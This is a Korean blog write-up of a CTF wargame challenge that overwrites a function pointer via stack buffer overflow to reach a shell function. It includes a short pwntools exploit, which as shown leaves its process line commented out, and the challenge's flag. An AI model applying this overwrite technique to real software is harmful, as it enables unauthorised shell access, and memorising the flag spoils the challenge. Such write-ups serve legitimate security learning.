이번에는 Basic_BOF #2라는 문제이다. 바이너리를 다운로드하여 실행시켜 보면,
입력을 한 줄 받을 수 있고, 입력 받은 뒤 " 하아아아아아아아아앙 " 이라는 문자열이 출력됨을 확인 할 수 있다.
ida로 바로 main 함수 부터 분석을 해보면,
v5 함수 포인터 변수가 sup 라는 함수를 가리키고 있고 fgets로 입력을 받은 다음 v5를 호출 함을 알 수 있다. 해당 바이너리 에서의
함수 목록들을 보면,
sup 이랑 shell 이라는 함수가 있음을 확인 할 수 있다.
sup 함수는 간단하게 puts 함수를 통해 문자열을 출력 함을 확인 할 수 있다. 아마 바이너리를 실행 시키고 입력 한 후에 나오는
문자열도 프로그램 흐름상 v5 (sup) 함수를 통해서 출력이 되는거 같다.
다음은 shell 함수 이다.
shell 함수에서는 system 함수가 실행이 되는 것을 확인 할 수 있다. 즉, 우리는 저 main 함수에서 v5 가 가르키는 함수를 sup
함수가 아닌 shell 함수의 주소로 덮어 버리면 shell 함수가 호출이 되어서 shell이 따짐을 짐작 할 수 있다.
전체 버퍼 사이즈가 0x8c이고, v5 변수의 위치가 0xc 이므로 0x8c - 0xc 만큼 버퍼를 덮어 주고 이후에 shell 함수의 주소로
덮어주면 될 것이다.
익스는 다음과 같이 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import*
#p = process("./bof_basic2")
elf = ELF("./bof_basic2")
addr = elf.symbols['shell']
payload = ''
payload += 'A' * 128
payload += p32(addr)
p.sendline(payload)
p.interactive()
|
이후 실행 시켜 보면,
익스에 성공함을 알 수 있다.
FLAG : HackCTF{h3y_dud3_600d_f0r_y0u}
'WARGAME > hack ctf' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) | 2020.03.09 |
---|---|
x64 Simple_size_BOF (0) | 2020.03.09 |
x64 Buffer Overflow (0) | 2020.03.09 |
내 버퍼가 흘러넘친다!!! (0) | 2020.03.09 |
Basic_BOF #1 (0) | 2020.02.16 |